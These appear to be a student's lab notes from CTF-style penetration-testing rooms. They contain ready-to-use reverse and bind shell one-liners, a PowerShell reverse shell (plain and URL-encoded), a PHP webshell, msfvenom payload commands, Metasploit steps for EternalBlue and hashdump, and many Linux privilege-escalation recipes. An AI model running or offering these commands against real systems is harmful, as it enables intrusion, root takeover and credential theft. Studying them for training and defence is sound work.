  + To make policies apply, must link GPO to root of the domain
    - Right click on Domain Controllers OU > Link an Existing GPO > select GPO > OK
  + To apply the GPO,
    - Open CMD as Admin
      * Type: gpupdate /force
  + Testing the GPO
    - Test using logins and methods that have been OK’d or blocked

Windows and Eternal Blue

* Run nmap scan – detect ms17-010 eternal blue vuln
* Msfconsole
  + Search, use, set required options and payload
    - Payload: windows/x64/shell/reverse\_tcp
      * DOS layout
  + To change to meterpreter
    - Background shell (CTRL + Z)
    - To convert shell to meterpreter shell in Metasploit
      * “post/multi/manage/shell\_to\_meterpreter”
        + Use > show options
        + Session fill in required
        + “sessions” command for active sessions
        + Find session

Set session #

Exploit

* + - * + “sessions -i <new #>”
      * “shell” command allows return to victim shell
        + Whoami to check user
        + Background to return to meterpreter
    - List processes via ps command
      * Find NT AUTHORITY\SYSTEM and write down PID
        + Toward bottom of list for low impact
      * Migrate to process using “migrate <PID>”
  + Dump non-default users password and crack it
    - Run command hashdump
    - Look at user names
    - Hashcat hashes
      * Ex. Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d::: (NTLM/LM)
      * Crackstation or hashcat
      * Separate at :
  + Also navigate through meterpreter as one would in cmd line to find flags
    - Passwords – C:/indows/system32/config/
    - User folders, especially ones ID’d as system owners or admins

Shells – Sending/Receiving (Reverse/Bind) Shells When Exploiting Target Machines

* Shells are used when interfacing with a Command Line environment (CLI)
  + Such as common bash or sh programs in Linux
  + Cmd.exe and powershell on windows
* Possible to sometimes force an application running on the server to execute arbitrary code – use initial access to obtain a shell running on the target
  + Reverse shell – remote server sends command line access to user
  + Bind shell – open up port on server that can be connected to for execution of commands
* Tools
  + Netcat
    - Swiss army knife
    - Manually perform network interactions
      * Banner grabbing during enumeration
      * Receive reverse shells and connect to remote ports attached to bind shells
    - Shells are unstable by default but can be improved
  + Socat
    - Similar to netcat but stronger
    - Default shells are more stable
    - However
      * Syntax is more difficult
      * Very rarely installed by default
  + Metasploit – multi/handler:
    - The auxiliary/multi/handler module
      * Allows obtainment of stable shells and further options available
      * Only way to interact with meterpreter shell
      * Handle staged payloads
  + msfvenom
    - used to generate payloads on the fly
    - commonly used to generate reverse and bind shells
  + Payload All The Things
  + Pentest Monkey Reverse Shell Cheatsheet
  + /usr/share/webshells
  + SecLists repo
* Types of Shell
  + Reverse Shells
    - target is forced to execute code that connects back to attacker computer
    - tools mentioned above can be used to set up listeners to receive connections
    - helpful for bypassing firewall rules that usually prevent attackers from connecting to arbitrary ports
    - need to configure network to connect to the shell
  + Bind Shells
    - code executed on the target is used to start a listener attached to a shell directly on the target
    - then opened to internet, meaning you can connect to the port that the code has opened and obtain RCE
    - does not require network configuration but may be prevented by firewalls protecting the target
  + reverse shells are easier to execute and debug
    - most common
    - especially for CTFs
      * on attacker - sudo nc -lvnp <port #>
      * on target – nc <local-ip> <port> -e /bin/bash
    - listening on our own attacking machine and send a connection from the target
  + Bind Shell example
    - on the target – nc -lvnp <port> -e “cmd.exe”
    - on the attacker – nc <machine ip> <port>
      * listening on the target
  + Interactivity
    - shells can either be
      * interactive
        + allow user to interact with programs after executing them
        + interactive programs require interactive shells
      * noninteractive
        + limited to using programs which do not require user interaction in order to run properly
        + majority of simple reverse and bind shells are noninteractive

makes exploitation difficult

* Netcat
  + Reverse Shells
    - syntax for listener – nc -lvnp <port number>
      * -l – listener
      * -v – verbose output
      * -n – tells netcat not to resolve host names or use DNS
      * -p – port specification to follow
    - best to use port number under 1024, and a well-known one such as 80, 443, 53, to bypass firewalls – will require sudo
  + Bind Shells
    - if looking to obtain a shell on a target then can assume there is already a listener waiting on a chosen port
      * syntax – nc <target-ip> <chosen port>
* Netcat Shell Stabilization
  + Technique 1 – Python
    - python -c ‘import pty;pty.spawn(“/bin/bash”)’
      * use python to spawn a better featured bash shell
      * some targets may need version of python specified
    - export TERM=xterm
      * will give access to term commands such as clear
    - CTRL+Z
      * in own terminal – stty raw -echo; fg
        + turns off terminal echo (gives access to tab autocompletes, arrow keys, and Ctrl+C to kill processes, not the whole shell)
        + then foregrounds shell
    - if shell dies, input into own terminal will not be visible
      * fix with reset > ENTER
  + Technique 2 – rlwrap
    - gives access to history, tab autocomplete, and arrow keys immediately upon receiving a shell
    - some manual stabilization must still be utilized to be able to use Ctrl+C
    - not installed by default
      * sudo apt install rlwrap
    - to invoke
      * rlwrap nc -lvnp <port>
    - this method is useful for dealing with Windows shells
    - in linux, stabilize with
      * background shell, stty raw -echo; fg
  + Technique 3 – Socat
    - use an initial netcat shell as a stepping stone into a more fully-featured socat shell
    - limited to linux targets
    - first transfer to a socat static compiled binary
      * sudo python3 -m http.server 80 – on attacker
      * wget <local ip>/socat -0 /tmp/socat – on victim
    - in a windows CLI
      * done with powershell using Invoke-WebRequest
        + Invoke-WebRequest -uri <local ip>/socat.exe -outfile C:\\Windows\temp\socat.exe
  + Changing tty size must be done manually in reverse or bind shells
    - open another terminal and run
      * stty -a – note down values for “rows” and “columns”
    - in reverse/bind shell
      * stty rows <number>
      * stty cols <number>
    - allows programs such as text editors to correctly open
* Socat
  + a connector between two points
    - listening port and file, listening port and keyboard, two listening ports
  + Reverse Shells
    - socat TCP-L:<port> -
    - Windows 🡪 socat TCP:<local ip>:<local port> EXEC:powershell.exe;pipes
      * pipes forces powershell/cmd.exe to use unix style standard input and output
      * Linux equivalent – socat TCP:<LOCAL IP>:<LOCAL PORT> EXEC:”bash =li”
  + Bind Shells
    - socat TCP-L:<PORT> EXEC:”bash -li” – linux target
    - socat TCP-L:<PORT> EXEC:powershell.exe,pipes
    - socat TCP:<TARGET IP>:<TARGET PORT> - 🡪 on target machine
  + Fully Stable Linux tty Reverse Shell
    - * only works with Linux
    - socat TCP-L:<PORT> FILE:`tty`,raw,echo=0
      * connecting a listening port to a file
      * immediately stable and allocates a full tty
    - target must have socat installed
    - possible to upload a precompiled socat binary to be executed as normal
      * socat TCP:<attacker ip>:<attacker port> EXEC: “bash -li”,pty,stderr,sigint,setsid,sane
        + pty – allocates pseudoterminal on target
        + stderr – makes sure any error messages get shown in the shell
        + sigint – passes any Ctrl+C commands through into the sub-process
        + setsid – creates the process in a new session
        + sane – stabilizes the terminal
    - fully interactive shell
      * can increase verbosity by including -d -d flags
* Socat Encrypted Shells
  + both bind and reverse
  + cannot be spied on unless have decryption key
  + bypass an IDS
  + replace TCP with OPENSSL
  + first generate certificate to use encrypted shells
    - openssl req - -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
      * creates a 2048 bit RSA key with matching cert file, valid for a year
    - merge files into .pem file
      * cat shell.key shell.crt > shell.pem
    - setup reverse shell listener
      * socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 –
      * sets up OPENSSL listener using generated certificate
        + verify=0 tells connection to not bother checking with CA
      * to connect back
        + socat OPENSSL:<LOCAL IP>:<LOCAL PORT>,verify=0 EXEC:/bin/bash
    - bind shell
      * target – socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
      * attacker – socat OPENSSL:<TARGET IP>:<TARGET PORT>,verify=0
    - tty shell
      * socat OPENSSL-LISTEN:<port>,cert-<pem file>,verify=0 <second point type>:`tty`,raw,echo=0 - listener
      * socat OPENSSL:<ip>:<port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane – attacker
* Common Shell Payloads
  + netcat has -e flag that allows execution of a process upon connection
    - only in certain versions, these being seen as insecure
    - ex. nc -lvnp <port> -e /bin/bash
      * executes bind shell on target
    - ex. nc -lvnp <port> -e /bin/bash
      * reverse shell
    - on windows, technique will work perfectly
    - linux
      * mkfifo /tmp/f; nc -lvnp <port> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
        + command creates a named pip a /tmp/f, then starts a netcat listener and connects input of the listener to the output of the named pipe. output of the netcat listener, the commands we send, get piped directly into sh, sending the stderr output stream into stdout, and sending stdout itself into the input of the named pipe
      * netcat reverse shell
        + mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
    - when targeting a modern Windows Server, common to require a Powershell reverse shell
      * powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
      * replace IP and IP PORT with appropriate IP and choice of port
        + then copied into cmd.exe shell or webshell and executed
        + results in reverse shell
* msfvenom
  + used to generate code for reverse and bind shells, among others
  + extensively used for lower-level exploit development
    - generate hexadecimal shellcode when developing something like a Buffer Overflow exploit
      * can generate .exe, .aspx, .war, and .py
  + standard syntax
    - msfvenom -p <payload> <options>
    - ex – Windows x64 Reverse Shell
      * msfvenom -p windows/x64/shell/reverse\_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>
  + Staged versus Stageless
    - staged – sent in two parts. Stager – executed directly on server itself – connects back to a waiting listener, doesn’t actually contain any reverse shell code by itself
      * connects to listener and downloads the actual payload
      * bulkier reverse shell code is downloaded when stager is activated
      * require special Metasploit multi/handler
    - stageless – more common – entirely self-contained
      * easier to use and catch, bulkier
      * easier for AV or IDS
  + Meterpreter
    - Metasploit brand of fully-featured shell
    - completely stable
      * go for windows targets
    - must be caught in Metasploit
      * banned from certain certification examinations
  + Payload Naming Conventions
    - <OS>/<arch>/<payload>
    - stageless payloads are denoted with underscores
      * staged payloads are denoted by forward slahes
    - What command would you use to generate a staged meterpreter reverse shell for a 64bit Linux target, assuming your own IP was 10.10.10.5, and you were listening on port 443? The format for the shell is elf and the output filename should be shell
      * msfvenom -p linux/x86/meterpreter/reverse\_tcp -f elf -o shell.elf LHOST=10.10.10.5 LPORT=443
* Metasploit multi/handler
  + catching reverse shells, essential for meterpreter and go-to for staged payloads
  + msfconsole
    - use multi/handler
      * options
        + set payload, LHOST, LPORT

exploit -j to start listener

* Webshells
  + webshells when reverse or bind shells are not an option
  + runs inside a webserver
    - usually PHP or ASP
    - common scripts
      * <?php echo "<pre>" . shell\_exec($\_GET["cmd"]) . "</pre>"; ?>
        + takes GET parameter in the URL and execute it on the system with shell\_exec()

any commands entered in URL after ?cmd= will be executed on the system

GET parameter “cmd” with command “ifconfig” for example

* + - * PentestMonkey php-reverse-shell
      * most generic, language specific shells are written for Unix based, will not work on Windows by default
    - for windows, obtain RCE using a webshell or msfvenom to generate a reverse/bind shell in the language of the server
      * obtaining RCE is often done with a URL Encoded Powershell Reverse Shell
        + cmd=powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22
        + same as shell above but URL encoded to use in GET parameter

need to change IP and Port before use

* Next Steps
  + look for opportunities to gain access to a user account
  + SSH keys stored in /home/<user>/.ssh
  + add own account
    - Dirty C0w or writeable /etc/shadow or /etc/passwd to give ssh access (if open)
  + Windows
    - find passwords for running services in registry
      * VNC servers leave passwords in registry stored in plaintext
      * FileZilla FTP server in C:\Program Files\FileZilla Server\FileZilla Server.xml
      * or C:\xampp\FileZilla Server\FileZilla Server.xml
        + MD5 hashes
    - obtain a shell running as the SYSTEM user, or an administrator account running with high privileges
    - add account 🡪 log in over RDP, telnet, winexe, psexec, WinRM, etc
      * + RDP

xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:MACHINE\_IP /u:Administrator /p:'TryH4ckM3!'

* + - * syntax – net user <username> <password> /add
      * or net localgroup administrators <username> /add
* Example Scripts
  + nc <LOCAL-IP> <PORT> -e /bin/bash – send reverse shell back to a waiting listener in attacker (Linux)
  + Payload All The Things

Linux Privilege Escalation

* Understanding Privesc
  + the exploitation of a vulnerability, design flaw, and configuration oversights
  + critical when performing CTFs or pentesting
* Direction of Privilege Escalation
  + Horizontal
    - expand reach over the compromised system by taking over different users who is on the same privilege level
      * inherit additional files and access permissions
  + Vertical
    - higher privileges or access, through existing account that you have already compromised
* Enumeration
  + LinEnum
    - simple bash script that performs common commands related to privilege escalation
      * saves times and allowing more effort to be put toward getting root
    - important to know what it executes to manually enumerate privesc vulnerabilities in a situation where LinEnum is unavailable
  + <https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh>
  + How to get LinEnum onto target machine
    - Method 1
      * create python web server in directory where LinEnum is stored
      * “python3 -m http.server 8000”
      * wget <attacker ip>:<port>/LinEnum.sh – on victim machine
        + make sure its in a directory that the current user has permissions to write to

ex. /home/user/Documents

* + - Method 2
      * copy raw LinEnum code from local machine and paste into new file on target using Vi or Nano
        + save file with .sh extension
        + make file executable with “chmod +x <filename.sh>”
  + Running LinEnum
    - go to directory where file is located and run command “./LinEnum.sh”
  + Understanding LinEnum Output
    - * broken into different sections
    - Kernel – kernel information – kernel exploits
    - Can we read/write sensitive files
      * the world writable files are shown here – files that any authenticated user can read and write to
      * by checking permissions, can see where there is misconfiguration that allows users to write to sensitive files
    - SUID Files
      * special type of file permissions given to a file.
      * Allows the file to run with permissions of whoever the owner is – if root, runs with root privileges
      * can allow for privilege escalation
    - Crontab Contents
      * scheduled cron jobs
      * schedules commands at a specific time
      * warrants attempt of exploiting Cronjobs
      * cat /etc/crontab
* Abusing SUID/GUID files
  + first step in Linux privilege escalation is to check for files with SUID/GUID bit-set
    - user files with super-user privilege to get a shell into root
  + SUID Binary
    - everything in Linux is a file, each with read/write/execute permissions
      * ex. max privileges rwx-rwx-rwx
    - max number of bit to be used to set permissions is 7
      * however, when special permissions are given,becomes SUID/GUID – extra bit “4” is set to user it becomes SUID
        + when bit “2” is set to group it becomes SGID
        + ex of SUID – rws-rwx-rwx
        + ex of GUI – rwx-rws-rwx
  + Finding SUID Binaries
    - LinEnum
    - manual – find / -perm -u=s -type f 2>/dev/null
      * -perm – specific permissions
      * -u=s – any permission bits mode are set for the file
      * -type f – only search files
      * 2>/dev/null – suppresses errors
    - search for shell files with SUID
* Exploiting Writeable /etc/passwd
  + - find users with permissions that match permissions of target files
      * ex. if user7 is part of root group gid 0, and /etc/passwd is user writeable, it stands to reason that user7 can edit /etc/passwd file
  + Understanding /etc/passwd
    - stores essential user account information
      * plaintext file
      * should have general read permission as utilities use it to map user IDs to usernames
      * write access limited to root
        + erroneous additions of users or an expanded list of users is a vulnerability
  + Understanding /etc/passwd format
    - contains one entry per line for each user of system
    - fields separated by a colon
    - syntax – user:x:0:0:root:/root:/bin/bash
      * username
      * password
        + x indicates encrypted in /etc/shadow
      * UID
        + 0 – root
        + 1-99 reserved for predefined accounts
        + 100-999 – reserved by system for admin and system accounts/groups
      * GID
        + stored in /etc/group
      * User ID info
        + allows addition of extra information about user
        + used by finger command
      * Home directory
        + absolute path to the directory the user will be in when they log in
        + if it does not exist, user directory becomes /
      * Command/shell
        + absolute path of a command or shell(/bin/bash)
        + typically a shell but does not HAVE to be
  + How to exploit a writeable /etc/passwd
    - write new line entry according to above formula and create a new user
    - add password hash of choice
      * compliant hash command
      * openssl passwd -1 -salt [salt][password]
        + don’t include the brackets like a dolt
      * take value and create user account
        + nano /etc/passwd
        + new:<hash>:0:0:root:/root:/bin/bash
    - set UID, GID, shell to root
    - allow login as root user
* Escaping Vi Editor
  + Sudo -l to determine what list of commands you’re able to use as a super user on that account
    - occasionally find certain commands can be run as a root user without root password
      * enable privesc
  + Escaping Vi
    - ex. running this command shows user8 can run vi with root privileges
      * ex. (root) NOPASSWD: /usr/bin/vi
      * open vi via sudo vi
      * type :!sh to create a shell to get root
  + Misconfigured Binaries and GTFOBins
    - if found during enumeration, or check what binaries a user account you have access to can access
      * good place to look up exploits for them is GTFOBins
        + list of Unix binaries that can be exploited by an attacker to bypass local security restrictions
        + <https://gtfobins.github.io/>
* Exploiting Crontab
  + - daemon that is a long-running process that executes commands at specific dates and times
    - can create file
  + How to view Cronjobs that are active
    - cat /etc/crontab
    - always recommended to check manually
  + Format of Cronjob
    - # - ID
    - m – minute
    - h – hour
    - dom – day of the month
    - mon – month
    - dow – day of the week
    - user – what user the command will run as
    - command – what command should be run
    - ex
      * # m h dom mon dow user command
      * 17\* 1 \* \* \* root cd/&&run-parts - -report /etc/cron.hourly
  + how to exploit
    - certain files found in Crontab may be owned by root and run with root privileges but can be written by users
    - create command that will return shell and paste to file
    - create exploit using msfvenom
      * msfvenom -p cmd/unix/reverse\_netcat lhost=LOCALIP lport=8888 R
      * copy and paste output into crontab file that is running
        + echo <msfvenom output> > <script.sh>
        + in actual file directory
        + wait for shell to land (in accordance with crontab exe time)
* Exploiting PATH variable
  + - PATH is an environmental variable in Linux/Unix-like operating systems which specifies directories that hold executable programs
    - when users run any command in terminal, it searches for exe files with help of PATH variable in response to commands executed by user
      * echo $PATH
  + Escalating Privileges
    - re-writing PATH variable to location of attackers choosing
      * when a SUID binary calls the system shell to run an exe, it runs one attacker has written
      * any SUID file will run command with same privileges as the owner of the SUID file
  + Application
    - finding a script and determining its command
      * once determined, change to tmp directory
    - create imitation exe
      * echo <”command attacker wants to run”> > <name of exe being imitated>
        + ex. echo “/bin/bash” > ls
        + chmod +x ls = makes it executable
      * now change PATH variable to point to directory where imitation is stored
        + export PATH=/tmp:$PATH
        + now every time “ls” is entered, a shell will be opened
        + use

xport PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$PATH

to reset ls back to default

* + - * + navigate back to directory where script is located and run it with “./” and a shell will be created
* Expanding Knowledge of Linux Privesc
  + Create a Checklist
    - keep track of enumeration
    - go-to list of helpful commands
  + <https://github.com/netbiosX/Checklists/blob/master/Linux-Privilege-Escalation.md>
  + <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md>
  + <https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html>
  + <https://payatu.com/guide-linux-privilege-escalation>

Google Dorking

* web crawlers/spiders scrap data
  + indexing keywords via crawling
* information is processed and stored in dictionaries
  + entries reevaluated and fine-tuned with continued crawling
* attempt to traverse every URL and connection to build web
* decision on hierarchy of domain relevance
* Search Engine Optimization
  + prioritizing domains as they are easier to index
  + website responsiveness to browsers
  + ease of which to crawl websites using sitemaps
  + use of keywords
  + Google Site Analyzer
* Website/Server owners stipulate what content crawlers can scrape
  + not everything should be scrapable by crawlers
    - such as Admin pages
    - Robots.txt
* Robots.txt
  + the first thing indexed by crawlers
  + served at the root directory
    - specified by webserver
    - defines permissions crawler has to website
    - what files and directories crawler can and cannot index
      * user-agent – type of crawler
      * allow – what can be indexed
      * disallow – what cannot be indexed
      * sitemap – reference to location
        + /sitemap.xml
      * .conf – extension of Unix/Linux system config file that is often hid from Crawlers
  + operates on blacklisting basis
* Sitemaps
  + indicative resources helpful for crawlers
    - specify necessary routes to find content on a domain
      * routes to nested-content
      * actual pages
    - XML formatted
* Using Google for Advanced Searching
  + quotation marks to use exact search
  + site:<website> <search query> to refine search to a specific website
  + filetype: - search for file by extension
    - ex. site:bbc.co.uk filetype:pdf
  + cache: - view googles cached version of a specified URL
  + intitle: - the specified phrase MUST appear in the title of the page
    - intitle:index.of
      * directory traversal

Linux Privesc – Continued

* Service Exploits
  + MySQL exploit that takes advantage of User Defined Functions (UDFs) to run system commands as root via MySQL service
  + cd /home/user/tools/mysql-udf
    - raptor\_udf2.c exploit
    - compile
      * gcc -g -c raptor\_udf2.c -fPIC
      * gcc -g -shared -Wl,-soname,raptor\_udf2.so -o raptor\_udf2.so raptor\_udf2.o -lc
    - connect to MySQL service as the root user
      * mysql -u root
  + Create a UDF via MySQL
    - use mysql;
    - create table foo(line blob);
    - insert into foo values(load\_file('/home/user/tools/mysql-udf/raptor\_udf2.so'));
    - select \* from foo into dumpfile '/usr/lib/mysql/plugin/raptor\_udf2.so';
    - create function do\_system returns integer soname 'raptor\_udf2.so';
  + copy to function and set SUID permission
    - select do\_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
  + run exploit
    - /tmp/rootbash -p
      * root access
    - remove exploit and shell
      * rm /tmp/rootbash
      * exit
* Weak File Permissions – Readable /etc/shadow
  + check via ls -l /etc/shadow
    - abnormal permissions -rw-r- - rw-
  + view contents via cat
    - save hash and crack with JtR
      * john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
  + login as root
* Weak File Permissions – Writable /etc/shadow
  + generate a new password hash with password of choice
    - mkpasswd -m sha-512 <password>
  + edit root hash in /etc/shadow with new hash
    - login with new password
* Weak File Permissions - Writable /etc/passwd
  + generate new password hash with a password of choice
    - openssl passwd <password>
  + edit passwd file with new password
  + create new root profile, copying line to bottom of list
    - newroot
* Sudo – Shell Escape Sequences
  + list programs that sudo allows user profile to run
    - sudo -l
    - visit GTFOBins
      * program listed with sudo as function to elevate privileges via escape sequence
* Sudo – Environment Variables
  + sudo can be configured to inherit certain environment variables from user environment
  + sudo -l
    - look for env\_keep options
      * LD\_PRELOAD or LD\_LIBRARY\_PATH
      * both inherited from user environment
        + LD\_PRELOAD loads a shared object before any others when a program is run
        + LD\_LIBRARY\_PATH provides a list of directories where shared libraries are searched for first
      * create a shared object using the code
        + /home/user/tools/sudo/preload.c:

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c

sudo LD\_PRELOAD=/tmp/preload.so <program>

* + - * + creates root shell
  + run ldd against apache2 (program without exploits on GTFOBins) to detect shared libraries being used
    - * ldd /usr/sbin/apache2
    - create shared object with same name as a listed library
      * gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library\_path.c
    - run apache2 using sudo
      * sudo LD\_LIBRARY\_PATH=/tmp apache2
    - root shell
* Cron Jobs – File Permissions
  + cat /etc/crontab
    - locate full path of cron job
      * locate <filename.sh>
    - confirm permissions
      * ls -l <path, /usr/local/bin/<filename>>
      * edit with bash shell script
        + bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
    - setup netcat listener on attacker machine
* CronJobs – PATH Environment Variable
  + cat /etc/crontab
    - note PATH variable starts with /home/user/
      * /home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
      * create file of same name in home directory with bash shell script
        + #!/bin/bash
        + cp /bin/bash /tmp/rootbash
        + chmod +xs /tmp/rootbash
      * chmod +x /home/user/overwrite.sh
    - wait for cronjob to run
      * then run /tmp/rootbash command with -p to gain shell running with root privileges
        + /tmp/rootbash -p
      * root
    - to remove
      * rm /tmp/rootbash
      * exit
* Cron Jobs – Wildcards
  + view contents of job script
  + cat /usr/local/bin/<filename>
    - command running with \* wildcard
  + GTFOBins for tar
    - tar has command line options that let other commands run as a checkpoint feature
    - use msfvenom to generate reverse shell ELF binary
      * msfvenom -p linux/x64/shell\_reverse\_tcp LHOST=<attacker ip> LPORT=4444 -f elf -o shell.elf
    - host, pull from attacker, and set permissions chmod +x
  + create two additional files
    - touch /home/user/--checkpoint=1
    - touch /home/user/--checkpoint-action=exec=shell.elf
  + when tar command in cron job runs, wildcard will expand to include these files
    - as filenames are legal tar command line options, tar will recognize them and run them
    - setup netcat listener
  + to remove
    - rm /home/user/shell.elf
    - rm /home/user/--checkpoint=1
    - rm /home/user/--checkpoint-action=exec=shell.elf
* SUID/GUID Executables – Known Exploits
  + Find all the SUID/SGID executables
    - find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
  + try to find known exploits for each service via GTFOBins, Exploit-DB, Google, GitHub, etc.
    - download and exploit
* SUID/SGID Executables – Shared Object Injection
  + run “strace” on a SUID file and search output for open/access calls and for “no such file” errors
    - strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
  + search for file load attempts and see what files are shared in users home directory but cannot be found
    - ex. /home/user/.config/libcalc.so 🡪 not found
    - create config directory for file
      * mkdir /home/user/.config
  + compile bash shell code into a shared object at the location the suid executable was looking for it
    - ex. gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c
  + execute suid file again and get shell
    - ex. /usr/local/bin/suid-so
* SUID/SGID Executables – Environment Variables
  + inheriting user’s PATH environment variable and attempting to execute programs without specifying an absolute path
  + identify file and run strings on file to look for strings of printable characters
    - ex. strings /usr/local/bin/suid-env
      * “service apache2 start
        + suggests “service” executable is being called to start webser, yet full path of exe (/usr/sbin/service) is not being used
  + compile service.c code into an exe called “serve” to spawn a bash shell
    - gcc -o service /home/user/tools/suid/service.c
    - prepend current directory to PATH variable and run suid-env exe to gain root shell
      * PATH=.:$PATH /usr/local/bin/suid-env
* SUID/SGID Executables – Abusing Shell Features
  + verify path with strings between two files to confirm which uses absolute path and what does not
    - ex. strings /usr/local/bin/suid-env2
      * /usr/sbin/service apache2 start
        + absolute
    - vs strings /usr/local/bin/suid-env
      * service apache2 start
  + in Bash versions <4.2-048
    - possible to define shell functions with names that resemble file paths and export functions to be used instead of actual executables in path
    - verify bash version is less than 4.2-048
      * /bin/bash - -version
    - create bash function that executes new bash shell and export
      * function /usr/sbin/service {/bin/bash -p; }
      * export -f /usr/sbin/service
    - run exploit
      * /usr/local/bin/suid-env2
* SUID/SGID Executable – Abusing Shell Features
  + (will not work on Bash v4.4+)
  + run /usr/local/bin/suid-env2 with bash debugging enabled and the ps4 (displays extra prompt for debugging statements) variable set to an embedded command which creates an SUID version of /bin/bash
    - env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
  + run
    - /tmp/rootbash -p
  + to remove
    - rm /tmp/rootbash
    - exit
* Passwords & Keys – History Files
  + if user types password on command line instead of password prompt, may get recorded in history file
  + view contents of all hidden history files in user home directory
    - cat ~/.\*history | less
  + search for login attempts of various services
    - ex. mysql -h somehost.local -uroot -ppassword123
* Passwords & Keys – Config Files
  + list contents of user home directory
    - ls /home/user
  + note config files
    - view with cat command
  + check for references of other locations where additional login information can be found
    - ex. auth-user-pass /etc/openvpn/auth.txt
* Passwords & Keys – SSH Keys
  + look for hidden files and directories in the system root
    - ls -la /
    - view contents
      * ex. ls -l /.ssh
      * copy rsa key to attacker computer, use key to ssh into machine
        + ssh -i <rsa file> root@ip
* NFS
  + files created via NFS inherit remote user’s ID
    - root = root unless root squashing is enabled
  + to check NFS share configuration
    - cat /etc/exports
      * /tmp share – enabled or disabled root squashing?
        + no\_root\_squash
  + as root user on attacker machine
    - create mount point on box and mount /tmp share
      * mkdir /tmp/nfs
      * mount -o rw,vers=2 <victim ip>:/tmp /tmp/nfs
    - generate payload using msfvenom and save to mounted share
      * msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
    - make file executable and set SUID permissions
      * chmod +xs /tmp/nfs/shell.elf
  + on victim machine
    - execute file to gain root shell
      * /tmp/shell.elf
* Kernel Exploits
  + last resort – these exploits leave machines in unstable states
  + run Linux Exploit Suggester 2 tool
    - perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl
      * popular Dirty COW
        + replaces SUID file /usr/bin/passwd with one that spawns a shell (backup of /usr/bin/passwd is made at /tmp/bak)
    - compile code and run
      * gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w
      * ./c0w
    - run /usr/bin/passwd
      * gain access
    - to remove
      * mv /tmp/bak /usr/bin/passwd
      * exit
* Privilege Escalation Scripts
  + on room machine
  + <https://tryhackme.com/room/linuxprivesc>
    - on Debian machine
      * /home/user/tools/privesc-scripts

Introduction to Research

* crawler searching
* ExploitDB
  + search after discovering software
* NVD
* CVE Mitre
* searchsploit
* man command for tools

Core Windows Processes – For Threat Detection

* Determining what is and is not normal behavior.
* Task Manager
  + - provides information on resource usage, CPU, memory, process killing
  + Information Tabs
    - Type – App, Background process, windows process
    - Publisher – author of program or file
    - PID – process identifier
    - Process Name – file name of the process
    - Command Line – full command used to launch a process
    - CPU – CPU power used
    - Memory – physical working memory used
  + Processes
    - Apps
    - Background Processes
    - Windows Processes
  + Details
    - view core processes
    - sort PIDs in ascending order
    - Add
      * Image path name
      * Command Line
    - Both alert to process outliers
      * if image path name or command line is not what is expected
        + perform deeper analysis
  + Task manager lacks certain important information, such as
    - parent process information
      * essential to identifying outliers
    - use Process Hacker and Process Explorer
  + Process Hacker
  + Process Explorer
  + Command line options such as
    - tasklist
    - Get-Process
    - ps
    - wmic
* System
  + PID for System process is always 4
  + home to special thread that runs only in kernel mode a kernel-mode system thread
    - executing code in system space
    - allocated dynamic storage from OS memory heaps
  + Normal Behavior
    - * Image Path: N/A
